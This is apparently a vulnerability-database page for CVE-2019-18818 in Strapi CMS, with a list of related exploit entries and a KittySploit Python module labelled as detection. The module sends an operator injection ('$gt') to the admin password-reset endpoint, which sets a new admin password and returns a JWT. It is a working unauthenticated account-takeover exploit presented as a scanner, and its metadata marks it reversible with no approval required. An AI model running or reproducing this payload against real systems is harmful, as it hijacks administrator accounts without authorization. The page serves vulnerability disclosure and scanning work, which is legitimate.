strapi CMS <3.0.0-beta.17.5 - Admin Password Reset Detection
| Reporter | Title | Published | Views | Family All 36 |
|---|---|---|---|---|
| Strapi 3.0.0-beta - Set Password (Unauthenticated) Exploit | 30 Aug 202100:00 | – | zdt | |
| Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (Unauthenticated) Exploit | 30 Aug 202100:00 | – | zdt | |
| Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) Exploit | 8 Feb 202200:00 | – | zdt | |
| Exploit for Weak Password Recovery Mechanism for Forgotten Password in Strapi | 29 Aug 202123:30 | – | githubexploit | |
| Exploit for Cross-Site Request Forgery (CSRF) in Cisco Industrial_Network_Director | 12 Oct 202114:16 | – | githubexploit | |
| CVE-2019-18818 | 18 Jun 202210:22 | – | circl | |
| CVE-2019-18818 | 7 Nov 201921:02 | – | cve | |
| CVE-2019-18818 | 7 Nov 201921:02 | – | cvelist | |
| Strapi 3.0.0-beta - Set Password (Unauthenticated) | 30 Aug 202100:00 | – | exploitdb | |
| Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated) | 30 Aug 202100:00 | – | exploitdb |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""strapi CMS before 3."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'strapi CMS <3.0.0-beta.17.5 - Admin Password Reset Detection',
'description': 'strapi CMS before 3.0.0-beta.17.5 allows admin password resets because it mishandles password resets within packages/strapi-admin/controllers/Auth.js and packages/strapi-plugin-users-permissions/controllers/Auth.js.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2019', 'strapi', 'auth-bypass', 'intrusive', 'edb', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://github.com/advisories/GHSA-6xc2-mj39-q599',
'https://www.exploit-db.com/exploits/50239',
'https://nvd.nist.gov/vuln/detail/CVE-2019-18818',
'https://github.com/strapi/strapi/releases/tag/v3.0.0-beta.17.5',
'https://github.com/strapi/strapi/pull/4443',
],
'cve': 'CVE-2019-18818',
}
def run(self):
path = '/admin/auth/reset-password'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Origin': '{{BaseURL}}', 'Content-Type': 'application/json'}, data='{"code": {"$gt": 0}, "password": "SuperStrongPassword1", "passwordConfirmation": "SuperStrongPassword1"}\n')
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_all = ('"username":', '"email":', '"jwt":',)
header_any = ('application/json',)
if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
self.set_info(severity='critical', reason='strapi CMS <3.0.0-beta.17.5 - Admin Password Reset detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
8.4High risk
Vulners AI Score8.4
CVSS 27.5
CVSS 3.19.8
EPSS0.97639